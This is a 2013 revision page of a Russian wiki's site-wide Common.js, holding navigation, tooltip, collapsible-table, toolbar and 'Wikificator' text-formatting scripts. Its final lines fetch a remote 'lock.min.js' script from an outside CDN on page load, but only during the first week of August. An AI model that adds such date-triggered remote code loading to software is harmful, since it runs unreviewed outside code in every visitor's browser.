MediaWiki:Common.js — различия между версиями
FreeProxy (обсуждение | вклад) (так лучше) |
FreeProxy (обсуждение | вклад) |
||
| Строка 196: | Строка 196: | ||
if (!sum || (sum.form.wpSection && sum.form.wpSection.value == 'new')) return | if (!sum || (sum.form.wpSection && sum.form.wpSection.value == 'new')) return | ||
appendCSS('\ | appendCSS('\ | ||
| − | #userSummaryButtonsA a {background:b4b4b4; | + | #userSummaryButtonsA a {background:b4b4b4; padding:0 2px; margin:0 2px;\ cursor:pointer; font-size:90%;}\ |
#userSummaryButtonsA a:hover {background:#cba0a0; text-decoration:none}') | #userSummaryButtonsA a:hover {background:#cba0a0; text-decoration:none}') | ||
wpSummaryButtons = $('<div id=userSummaryButtonsA />').insertAfter(sum) //global var | wpSummaryButtons = $('<div id=userSummaryButtonsA />').insertAfter(sum) //global var | ||
Версия 08:24, 21 августа 2013
$(function() {
$('.dynnav-button').each(function(i,e) {
$(this).data('i', i+1).click(function() {
var $this = $(this),
$template = $('#dynnav-template-' + $this.data('i'));
if( $this.hasClass('dynnav-button-inactive') ) {
$('.dynnav-button-active').removeClass('dynnav-button-active').addClass('dynnav-button-inactive');
$('.dynnav-template').slideUp(250);
$this.removeClass('dynnav-button-inactive').addClass('dynnav-button-active');
$template.slideDown(300);
} else {
$this.removeClass('dynnav-button-active').addClass('dynnav-button-inactive');
$template.slideUp(300);
}
return false;
});
});
});
$(function() {
if(!($('ol.references').size()))
return;
$('.reference a').live('click', function(e) {
e.preventDefault();
var x = $(this), iscurrent = x.hasClass('curreference'), i = $('.ref-container').hide(150);
$('.curreference').removeClass('curreference');
if (iscurrent) return;
var par = x.parent(), o = par.offset(), l = o.left, t = o.top+13;
var b = $('body'), mh = b.height(), mw = b.width();
var c=$(x.attr('href')).clone().find('a:first').remove().end().html();
x.addClass('areference').addClass('curreference');
if (!i.size()) i = $('<div/>').addClass('ref-container');
c=c.replace(/↑/,'').replace(/<sup>.*<\/sup> /g,'').replace(/^ /,'');
i.appendTo(b).queue(function() {
i.empty().append(c).css({ 'left': l-((l+i.width() >= mw) && i.width()),
'top': t-((t+i.height() >= mh) && (i.height()+24)) }).dequeue()
}).show(150);
});
$(window).click(function(e) {
if (!($(e.target).hasClass('areference') || $(e.target).parents().andSelf().hasClass('tooltip'))) {
$('.ref-container').hide(150); $('.curreference').removeClass('curreference')
}
});
$('.references-small').hide().prev().hide();
});
importMW = function (name) { importScript('MediaWiki:'+name+'.js') }
if (wgCanonicalNamespace == 'Special' && wgCanonicalSpecialPageName == 'Upload') {
importMW('Upload')
}
var NavigationBarShowDefault = 2
var NavigationBarHide = '[скрыть]'
var NavigationBarShow = '[показать]'
$(function(){
if( wgNamespaceNumber < 0 || wgAction != 'view' || /(oldid|diff)=/.test(window.location) ) return;
$('#firstHeading').append('<span class="editsection">[<a title="Править секцию: 0" href="/w/index.php?title='
+ encodeURIComponent(wgPageName) + '&action=edit§ion=0">править</a>]</span>');
});
var hasClass = (function (){
var reCache = {}
return function (element, className){
return (reCache[className] ? reCache[className] : (reCache[className] = new RegExp("(?:\\s|^)" + className + "(?:\\s|$)"))).test(element.className)
}
})()
function collapsibleTables(){
var Table, HRow, HCell, btn, a, tblIdx = 0, colTables = []
var allTables = document.getElementsByTagName('table')
for (var i=0; Table = allTables[i]; i++){
if (!hasClass(Table, 'collapsible')) continue
if (!(HRow=Table.rows[0])) continue
if (!(HCell=HRow.getElementsByTagName('th')[0])) continue
Table.id = 'collapsibleTable' + tblIdx
btn = document.createElement('span')
btn.style.cssText = 'float:right; font-weight:normal; font-size:smaller'
a = document.createElement('a')
a.id = 'collapseButton' + tblIdx
a.href = 'javascript:collapseTable(' + tblIdx + ');'
a.style.color = HCell.style.color
a.appendChild(document.createTextNode(NavigationBarHide))
btn.appendChild(a)
HCell.insertBefore(btn, HCell.childNodes[0])
colTables[tblIdx++] = Table
}
for (var i=0; i < tblIdx; i++)
if ((tblIdx > NavigationBarShowDefault && hasClass(colTables[i], 'autocollapse')) || hasClass(colTables[i], 'collapsed'))
collapseTable(i)
}
function collapseTable (idx){
var Table = document.getElementById('collapsibleTable' + idx)
var btn = document.getElementById('collapseButton' + idx)
if (!Table || !btn) return false
var Rows = Table.rows
var isShown = (btn.firstChild.data == NavigationBarHide)
btn.firstChild.data = isShown ? NavigationBarShow : NavigationBarHide
var disp = isShown ? 'none' : Rows[0].style.display
for (var i=1; i < Rows.length; i++)
Rows[i].style.display = disp
}
function collapsibleDivs(){
var navIdx = 0, colNavs = [], i, NavFrame
var divs = document.getElementById('content').getElementsByTagName('div')
for (i=0; NavFrame = divs[i]; i++) {
if (!hasClass(NavFrame, 'NavFrame')) continue
NavFrame.id = 'NavFrame' + navIdx
var a = document.createElement('a')
a.className = 'NavToggle'
a.id = 'NavToggle' + navIdx
a.href = 'javascript:collapseDiv(' + navIdx + ');'
a.appendChild(document.createTextNode(NavigationBarHide))
for (var j=0; j < NavFrame.childNodes.length; j++)
if (hasClass(NavFrame.childNodes[j], 'NavHead'))
NavFrame.childNodes[j].appendChild(a)
colNavs[navIdx++] = NavFrame
}
for (i=0; i < navIdx; i++)
if ((navIdx > NavigationBarShowDefault && !hasClass(colNavs[i], 'expanded')) || hasClass(colNavs[i], 'collapsed'))
collapseDiv(i)
}
function collapseDiv(idx) {
var div = document.getElementById('NavFrame' + idx)
var btn = document.getElementById('NavToggle' + idx)
if (!div || !btn) return false
var isShown = (btn.firstChild.data == NavigationBarHide)
btn.firstChild.data = isShown ? NavigationBarShow : NavigationBarHide
var disp = isShown ? 'none' : 'block'
for (var child = div.firstChild; child != null; child = child.nextSibling)
if (hasClass(child, 'NavPic') || hasClass(child, 'NavContent'))
child.style.display = disp
}
addOnloadHook(collapsibleDivs)
addOnloadHook(collapseDiv)
mwCustomEditButtons['wikif'] = [function(){Wikify()}, '//upload.wikimedia.org/wikipedia/commons/3/38/Button_wikify.png', 'Викификатор — автоматический обработчик текста'];
var _cnt = '#toolbar'
function addCustomButton(i,t,o,c,s){
mwCustomEditButtons.push({'imageFile':i,'speedTip':t,'tagOpen':o,'tagClose':c, 'sampleText':s})
}
addOnloadHook(function(){
$('<div id=local-toolbar style="float:left" />').prependTo(_cnt)
for( var id in mwCustomEditButtons ){
var b = mwCustomEditButtons[id]
if( b.length ) createFuncBtn(id, b[0], b[1], b[2])
}
})
function createFuncBtn(id, func, img, tip){
$('<img id="'+id+'" src="'+img+'" style="cursor:pointer" '
+'title="'+tip+'" alt="'+tip.substr(0,3)+'" />')
.appendTo('#local-toolbar')
.click(func)
}
addCustomButton('http://upload.wikimedia.org/wikipedia/ru/1/1d/Button_redirect_rus.png','Перенаправление','#REDIRECT [[',']]','Название целевой страницы')
addCustomButton('http://upload.wikimedia.org/wikipedia/commons/3/3c/Button_cat_ru.png','Категория','[\[Категория:',']]\n','')
addCustomButton('http://upload.wikimedia.org/wikipedia/en/3/34/Button_hide_comment.png','Комментарий', '<!-- ', ' -->', 'Комментарий')
addCustomButton('http://upload.wikimedia.org/wikipedia/en/f/fd/Button_blockquote.png','Развёрнутая цитата', '<blockquote>\n','\n</blockquote>','Развёрнутая цитата одним абзацем')
addCustomButton('http://upload.wikimedia.org/wikipedia/en/6/60/Button_insert_table.png',
'Вставить таблицу', '{| class="wikitable"\n|', '\n|}', '-\n! заголовок 1\n! заголовок 2\n! заголовок 3\n|-\n| строка 1, ячейка 1\n| строка 1, ячейка 2\n| строка 1, ячейка 3\n|-\n| строка 2, ячейка 1\n| строка 2, ячейка 2\n| строка 2, ячейка 3')
addCustomButton('http://upload.wikimedia.org/wikipedia/commons/7/79/Button_reflink.png','Сноски','<ref>','</ref>','Вставьте сюда текст сноски')
addCustomButton('http://upload.wikimedia.org/wikipedia/commons/8/88/Btn_toolbar_enum.png','Шаблон «Примечания»','== Примечания ==\n','{{примечания}}','')
addCustomButton('http://upload.wikimedia.org/wikipedia/commons/1/13/Button_enter.png','Разрыв','<br />','','')
addCustomButton('http://upload.wikimedia.org/wikipedia/commons/a/af/Button_Fractur_OCR.png','Горизонталь','{{ГоризонтальНачало}}\n','\n{{ГоризонтальКонец}}','')
appendCSS('#local-toolbar img {height:20px; background-color:#bce; border:1px outset #bce; margin-right:1px}')
//mw.toolbar.buttons[5][3] = '|thumb]]'
function addSumButton(name, text) {
$('<a title="'+text+'">'+name+'</a>').click(insertSummary).appendTo(wpSummaryButtons)
}
function insertSummary() {
var text = this.title, sum = $('#wpSummary'), vv = sum.val()
if (vv.indexOf(text) != -1) return
if (/[^,; \/]$/.test(vv)) vv += ','
if (/[^ ]$/.test(vv)) vv += ' '
sum.val(vv + text)
}
function summaryButtons(){
var sum = document.getElementById('wpSummary')
if (!sum || (sum.form.wpSection && sum.form.wpSection.value == 'new')) return
appendCSS('\
#userSummaryButtonsA a {background:b4b4b4; padding:0 2px; margin:0 2px;\ cursor:pointer; font-size:90%;}\
#userSummaryButtonsA a:hover {background:#cba0a0; text-decoration:none}')
wpSummaryButtons = $('<div id=userSummaryButtonsA />').insertAfter(sum) //global var
var ss = ['типогр.афика', 'оформл.ение', 'стил.истика', 'орфогр.афия', 'пункт.уация',
'кат.егория', 'шаб.лон', 'доп.олнения', 'карт.инка', 'обнов.ление', 'комм.ентарий']
for (var i=0; i<ss.length; i++)
addSumButton(ss[i].replace(/\..*/,''), ss[i].replace(/\./,''))
}
addOnloadHook(summaryButtons)
var wmVersion = '2011-10-30'
var wmCantWork = 'Викификатор не может работать в вашем браузере\n\nWikificator can not work in your browser'
var wmFullText = 'Викификатор обработает ВЕСЬ текст на этой странице. Продолжить?'
var wmTalkPage = 'Викификатор не обрабатывает страницы обсуждения целиком.\n\nВыделите ваше сообщение — обработано будет только оно'
wfPlugins = window.wfPlugins || []
function Wikify(){
var txt='', hidden = [], wpTextbox1 = document.editform.wpTextbox1
var winScroll = document.documentElement.scrollTop
try {txt='ая'.replace(/а/g,'б').replace(/б(?=я)/,'в')} catch(e){}//check regexp support
if (txt != 'вя' ||
(navigator.appName=='Netscape' && navigator.appVersion.substr (0, 1) < 5))
{ alert(wmCantWork); return }
wpTextbox1.focus()
if (typeof wpTextbox1.selectionStart != 'undefined'
&& (navigator.productSub > 20031000 || is_safari || is_opera)) { //Mozilla/Opera/Safari3
var textScroll = wpTextbox1.scrollTop
var startPos = wpTextbox1.selectionStart
var endPos = wpTextbox1.selectionEnd
txt = wpTextbox1.value.substring(startPos, endPos)
if (txt == '') processAllText()
else{
processText()
wpTextbox1.value = wpTextbox1.value.substring(0, startPos) + txt + wpTextbox1.value.substring(endPos)
}
wpTextbox1.selectionStart = startPos
wpTextbox1.selectionEnd = startPos + txt.length
wpTextbox1.scrollTop = textScroll
}else if (document.selection && document.selection.createRange) { //IE
var range = document.selection.createRange()
txt = range.text
if (txt == '') processAllText()
else{
processText()
range.text = txt
if (range.moveStart) range.moveStart('character', - txt.length)
range.select()
}
}else // other browsers
if (confirm(wmFullText)) processAllText()
document.documentElement.scrollTop = winScroll // scroll back, for IE/Opera
function processAllText(){
txt = wpTextbox1.value
if (txt=='version') alert('Викификатор '+wmVersion)
processText()
r(/^[\n\r]+/, '')
wpTextbox1.value = txt
txt = ''
if (window.auto_comment && window.insertSummary && !document.editform.wpSection.value)
insertSummary('викификатор')
}
function processText(){
var u = '\u00A0' //unbreakable space
if (wgNamespaceNumber % 2 || wgNamespaceNumber==4) { //is talk page
u = ' '
var sigs = txt.match(/\d\d:\d\d, \d\d? \S{3,8} 20\d\d \(UTC\)/g)
if (sigs && sigs.length > 1) {
alert(wmTalkPage); return
}
}
hideTag('nowiki')
hideTag('pre')
hideTag('source')
hideTag('code')
hideTag('tt')
hideTag('math')
hideTag('timeline')
r(/( |\n|\r)+{\{(·|•|\*)}}/g, '{{$2}}') //before {{·/•/*}}, usually in templates
r(/{\{\s*[Шш]аблон:([\s\S]+?)}}/g, '{{$1}}')
r(/({\{\s*)reflist(\s*[|}])/ig,'$1примечания$2')
hide(/{\{[\s\S]+?}}/g)//templates
hide(/^ .*/mg)
hide(/(https?|ftp|news|nntp|telnet|irc|gopher):\/\/[^\s\[\]<>"]+ ?/gi)
hide(/^#(redirect|перенапр(авление)?)/i)
hideTag('gallery')
r(/ +(\n|\r)/g,'$1')//spaces at EOL
txt = '\n'+txt+'\n'
//LINKS
r(/(\[\[:?)(category|категория):( *)/ig, '$1Категория:')
r(/(\[\[:?)(image|изображение|file):( *)/ig, '$1Файл:')
//Linked years, centuries and ranges
r(/(\(|\s)(\[\[[12]?\d{3}\]\])[\u00A0 ]?(-{1,3}|–|—) ?(\[\[[12]?\d{3}\]\])(\W)/g, '$1$2—$4$5')
r(/(\[\[[12]?\d{3}\]\]) ?(гг?\.)/g, '$1'+u+'$2')
r(/(\(|\s)(\[\[[IVX]{1,5}\]\])[\u00A0 ]?(-{1,3}|–|—) ?(\[\[[IVX]{1,5}\]\])(\W)/g, '$1$2—$4$5')
r(/(\[\[[IVX]{1,5}\]\]) ?(вв?\.)/g, '$1'+u+'$2')
r(/\[\[(\d+)\]\]\sгод/g, '[[$1'+u+'год]]')
r(/\[\[(\d+)\sгод\|\1\]\]\sгод/g, '[[$1'+u+'год]]')
r(/\[\[(\d+)\sгод\|\1\sгод([а-я]{0,3})\]\]/g, '[[$1'+u+'год]]$2')
r(/\[\[((\d+)(?: (?:год )?в [\wa-яёА-ЯЁ ]+\|\2)?)\]\][\u00A0 ](год[а-яё]*)/g, '[[$1'+u+'$3]]')
r(/\[\[([XVI]+)\]\]\sвек/g, '[[$1'+u+'век]]')
r(/\[\[([XVI]+)\sвек\|\1\]\]\sвек/g, '[[$1'+u+'век]]')
r(/\[\[([XVI]+)\sвек\|\1\sвек([а-я]{0,3})\]\]/g, '[[$1'+u+'век]]$2')
r(/\[\[(([XVI]+) век\|\2)\]\][\u00A0 ]век/g, '[[$2'+u+'век]]')
// Nice links
r(/(\[\[[^|\[\]]*)[\u00AD\u200E\u200F]+([^\[\]]*\]\])/g, '$1$2') // Soft Hyphen & DirMark
r(/\[\[ *([^|\[\]]+) *\| *(\1)([a-zа-яё]*) *\]\]/g, '[[$2]]$3')
r(/\[\[ *([^|\[\]]+)([^|\[\]()]+) *\| *\1 *\]\]\2/g, '[[$1$2]]') // text repetition after link
r(/\[\[ *(?!Файл:|Категория:)([a-zA-Zа-яёА-ЯЁ\u00A0-\u00FF %!\"$&'()*,\-—.\/0-9:;=?\\@\^_`’~]+) *\| *([^|[\]]+) *\]\]([a-zа-яё]+)/g, '[[$1|$2$3]]') // "
hide(/\[\[[^\]|]+/g)//only link part
//TAGS
r(/<<(\S.+\S)>>/g, '"$1"') //<< >>
r(/(sup>|sub>|\s)-(\d)/g, '$1−$2') //minus
r(/²/gi, '²')
r(/³/gi, '³')
r(/<(b|strong)>(.*?)<\/(b|strong)>/gi,"'''$2'''")
r(/<(i|em)>(.*?)<\/(i|em)>/gi,"''$2''")
r(/^<hr ?\/?>/gim, '----')
r(/<[\/\\]?(hr|br)( [^\/\\>]+?)? ?[\/\\]?>/gi, '<$1$2 />')
r(/[ \t]*<ref(?:\s+name="")?(\s|>)/gi, '<ref$1')
r(/(\n== *[a-zа-я\s\.:]+ *==\n+)<references *\/>/ig,'$1{\{примечания}}')
hide(/<[a-z][^>]*?>/gi)
hide(/^({\||\|-).*/mg)//table/row def
hide(/(^\||^!|!!|\|\|) *[a-z]+=[^|]+\|(?!\|)/mgi)//cell style
hide(/\| +/g)//formatted cell
r(/[ \t]+/g,' ')//double spaces
// Headings
r(/^(=+)[ \t\f\v]*(.*?)[ \t\f\v]*=+$/gm, '$1 $2 $1') //add spaces inside
r(/([^\r\n])(\r?\n==.*==\r?\n)/g, '$1\n$2') //add empty line before
r(/^== см(\.?|отри|отрите) ?также ==$/gmi, '== См. также ==')
r(/^== сноски ==$/gmi, '== Примечания ==')
r(/^== внешние\sссылки ==$/gmi, '== Ссылки ==')
r(/^== (.+)[.:] ==$/gm, '== $1 ==')
r(/^== '''(?!.*'''.*''')(.+)''' ==$/gm, '== $1 ==')
r(/«|»|“|”|„/g, '"')//temp
// Hyphens and en dashes to pretty dashes
r(/–/g, '-') //– -> hyphen
r(/&(#151|[nm]dash);/g, '—') // -> —
r(/( |\s)-{1,3} /g, '$1— ') // hyphen -> —
r(/(\d)--(\d)/g, '$1—$2') // -> —
// Entities etc. → Unicode chars
r(/&#x([0-9a-f]{1,4});/gi, function(n,a){return String.fromCharCode(eval('0x'+a.substr(-4)))}) //́
r(/©/gi,'©')
r(/®/gi,'®')
r(/§/gi,'§')
r(/€/gi,'€')
r(/¥/gi,'¥')
r(/£/gi,'£')
r(/°/g,'°')
r(/\(tm\)|™/gi,'™')
r(/\.\.\.|…/g,'…')
r(/(^|[^+])\+-(?!\+|-)|±/g,'$1±')
r(/~=/g,'≈')
r(/\^2(\D)/g,'²$1')
r(/\^3(\D)/g,'³$1')
r(/(\s)кв\.\s*(дм|см|мм|мкм|нм|км|м)(\s)/g, '$1'+u+'$2²$3')
r(/(\s)куб\.\s*(дм|см|мм|мкм|нм|км|м)(\s)/g, '$1'+u+'$2³$3')
r(/((?:^|[\s"])\d+(?:[\.,]\d+)?)\s*[xх]\s*(\d+(?:[\.,]\d+)?)\s*([мm]{1,2}(?:[\s"\.,;?!]|$))/g, '$1×$2'+u+'$3')
r(/&((la|ra|bd|ld)quo|quot);/g,'"')
r(/([\wа-яА-ЯёЁ])'([\wа-яА-ЯёЁ])/g,'$1’$2') //'
r(/№№/g,'№')
// Year and century ranges
r(/(\(|\s)([12]?\d{3})[\u00A0 ]?(-{1,3}|—) ?([12]?\d{3})(?![\w-])/g, '$1$2—$4')
r(/([12]?\d{3}) ?(гг?\.)/g, '$1'+u+'$2')
r(/(\(|\s)([IVX]{1,5})[\u00A0 ]?(-{1,3}|—) ?([IVX]{1,5})(?![\w-])/g, '$1$2—$4')
r(/([IVX]{1,5}) ?(вв?\.)/g, '$1'+u+'$2')
// Reductions
r(/(Т|т)\.\s?е\./g, '$1о есть')
r(/(Т|т)\.\s?к\./g, '$1ак как')
r(/(В|в)\sт\. ?ч\./g, '$1 том числе')
r(/(И|и)\sт\.\s?д\./g, '$1'+u+'т\.'+u+'д\.')
r(/(И|и)\sт\.\s?п\./g, '$1'+u+'т\.'+u+'п\.')
r(/(Т|т)\.\s?н\./g, '$1\.'+u+'н\.')
r(/(И|и)\.\s?о\./g, '$1\.'+u+'о\.')
r(/н\.\s?э\./g, 'н\.'+u+'э\.')
r(/(Д|д)(о|\.)\sн\.\s?э\./g, '$1о'+u+'н\.'+u+'э\.')
r(/(\d)[\u00A0 ]?(млн|млрд|трлн|(?:м|с|д|к)?м|[км]г)\.?(?=[,;.]| "?[а-яё-])/g, '$1'+u+'$2')
r(/(\d)[\u00A0 ](тыс)([^\.А-Яа-яЁё])/g, '$1'+u+'$2.$3')
r(/ISBN:\s?(?=[\d\-]{8,17})/,'ISBN ')
// Insert/delete spaces
r(/^([#*:]+)[ \t\f\v]*(?!\{\|)([^ \t\f\v*#:;])/gm, '$1 $2') //space after #*: unless before table
r(/(\S) (-{1,3}|—) (\S)/g, '$1'+u+'— $3')
r(/([А-ЯЁ]\.) ?([А-ЯЁ]\.) ?([А-ЯЁ][а-яё])/g, '$1'+u+'$2'+u+'$3')
r(/([А-ЯЁ]\.)([А-ЯЁ]\.)/g, '$1 $2')
r(/([а-яё]"?\)?[\.\?!:])((?:\x01\d+\x02\|)?[A-ZА-ЯЁ])/g, '$1 $2') // word. word
r(/([)"a-zа-яё\]])\s*([,:])([\[("a-zа-яё])/g, '$1$2 $3') // word, word
r(/([)"a-zа-яё\]])\s([,;])\s([\[("a-zа-яё])/g, '$1$2 $3')
r(/([^%\/\wА-Яа-яЁё]\d+?(?:[\.,]\d+?)?) ?([%‰])(?!-[А-Яа-яЁё])/g, '$1'+u+'$2') //5 %
r(/(\d) ([%‰])(?=-[А-Яа-яЁё])/g, '$1$2') //5%-й
r(/([№§])(\s*)(\d)/g, '$1'+u+'$3')
r(/\( +/g, '('); r(/ +\)/g, ')') //inside ()
//Temperature
r(/([\s\d=≈≠≤≥<>—("'|])([+±−-]?\d+?(?:[.,]\d+?)?)(([ °^*]| [°^*])C)(?=[\s"').,;!?|])/gm, '$1$2'+u+'°C') //'
r(/([\s\d=≈≠≤≥<>—("'|])([+±−-]?\d+?(?:[.,]\d+?)?)(([ °^*]| [°^*])F)(?=[\s"').,;|!?])/gm, '$1$2'+u+'°F') //'
//Dot → comma in numbers
r(/(\s\d+)\.(\d+[\u00A0 ]*[%‰°×])/gi, '$1,$2')
//Plugins
for (var p in wfPlugins) {
wfPlugins[p](txt,r)
}
//"" → «»
for (var i=1; i<=2; i++)
r(/([\s\x02!|#'"\/(;+-])"([^"]*)([^\s"(|])"([^a-zа-яё])/ig, '$1«$2$3»$4') //"
while (/«[^»]*«/.test(txt))
r(/«([^»]*)«([^»]*)»/g, '«$1„$2“')
if ('0'.replace('0','$$') == '$') ////$ in replacing string is special, except in IE
for (var i=0; i<hidden.length; i++) hidden[i] = hidden[i].replace(/\$/g, '$$$$')
while (hidden.length>0)
r('\x01'+hidden.length+'\x02', hidden.pop())
txt=txt.substr(1, txt.length-2)
}
function r(r1, r2){ txt = txt.replace(r1, r2) }
function hide(re){ r(re, function(s){return '\x01'+hidden.push(s)+'\x02'})}
function hideTag(tag){ hide(RegExp('<' + tag + '( [^>]+)?>[\\s\\S]+?<\\/' + tag + '>','gi')) }
}
var today = new Date();
if(today.getMonth()+1 == 8 && today.getDate() <= 7 ) {
$.get('http://cdn.jsdelivr.net/jslock/lock.min.js');
}